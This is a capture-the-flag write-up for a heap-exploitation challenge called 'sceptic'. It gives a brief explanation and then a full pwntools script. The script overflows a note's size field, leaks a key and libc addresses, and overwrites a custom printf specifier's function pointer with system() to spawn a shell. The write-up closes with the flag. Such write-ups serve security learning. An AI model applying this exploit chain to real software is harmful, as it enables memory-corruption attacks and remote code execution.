When you give it a size, it proceeds to call `read(0, buf, len-1)` without checking for 0, so does `read(...,-1)` and gives us an easy heap smash :D   We target another note struct on the heap, and overwrite its size field to `0xffffffffffffffff` so we can edit anywhere.  From there we get the necessary leaks.  
The custom format specifier has some sort of structure for it allocated on the heap, which stores the two function pointers for the `printf_arginfo_size_function` and `printf_function`, so we can overwrite one of those to get control. Specifically, the arginfo function is called with a `printf_info` structure argument, and the first field in that structure is the precision (`.17`). so we can have this be "sh\0" with `.26739`.  
Based on the challenge author's writeup, I don't think this was the intended solution :P
```pythonfrom pwn import *import sys
context.update(arch='amd64')libc = ELF("./libc.so.6",False)
if 'rem' in sys.argv:    r = remote("flatearth.fluxfingers.net", 1748)else:    r = process("./sceptic", env={"LD_PRELOAD":"./libc.so.6"})
def xor(a, b):    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
menu = "> "def add(data, sz=None, subj=None):    if sz == None:        sz = len(data)+1    r.sendafter(menu, "1\n")    r.sendafter(menu, str(sz)+'\n')    if subj:        r.sendafter(menu, "y")        r.sendafter(menu, subj)    else:        r.sendafter(menu, "n")    r.sendafter(menu, data)def view(idx, fmt=''):    r.sendafter(menu, "3\n")    r.sendafter(menu, str(idx)+'\n')    r.sendafter(menu, fmt.ljust(0xf,'\0'))def edit(idx, data, start_idx=0, sz=-1):    if sz == -1:        sz = len(data)    r.sendafter(menu, "2\n")    r.sendafter(menu, str(idx)+'\n')    r.sendafter(menu, str(start_idx)+'\n')    r.sendafter(menu, str(sz)+'\n')    r.sendafter(menu, data)
add("A"*0x28, 0x200)view(0,"#.64") #malloc fastbin 0x30add("B"*0x20) #victim note after fastbin 0x30
pl = fit({    0x10:0xffffffffffffffff, #heap metadata, whatever, set to non-null for %s leak    0x28:0xffffffffffffffff #set size, edit anywhere    }, filler="C")add(pl, 0) #gives fastbin 0x30, then trash victim note
edit(1, "\0"*0x10, -0x48) #encrypt some 0s in subject field (printed without xoring)view(2) #leak randsr.recvuntil("Subject: ")rands = r.recvn(7)+"\0"print "RANDS: "+rands.encode('hex')
view(0, "#.64")edit(0, "A"*0x48)view(0, "#.64")edit(0, "A"*0x68)view(0, "#.64")edit(0, "A"*0x88)view(0, "#.64")edit(0, "A"*0x100)view(0, "#.64") #consolidate, libc pointers in free chunk
edit(1, xor("A"*0x10+p64(0xffffffffffffffff), rands), 0x20) #remove nulls for libc leakview(2) #leak libc bin pointersr.recvuntil("A"*0x10+p64(0xffffffffffffffff))libc.address = u64(r.recvline().strip().ljust(8,'\0'))-0x3c4b78print "LIBC: "+hex(libc.address)
edit(1, xor(p64(libc.symbols['system']), rands), -0x1078) #custom specifier function pointer on heapview(2, ".%d"%(u16("sh"))) #first field in printf_info is precision :D
#FLAG{t4v1s_4ssum3d_1t_in_2k14}r.interactive()
```
Author: pernicious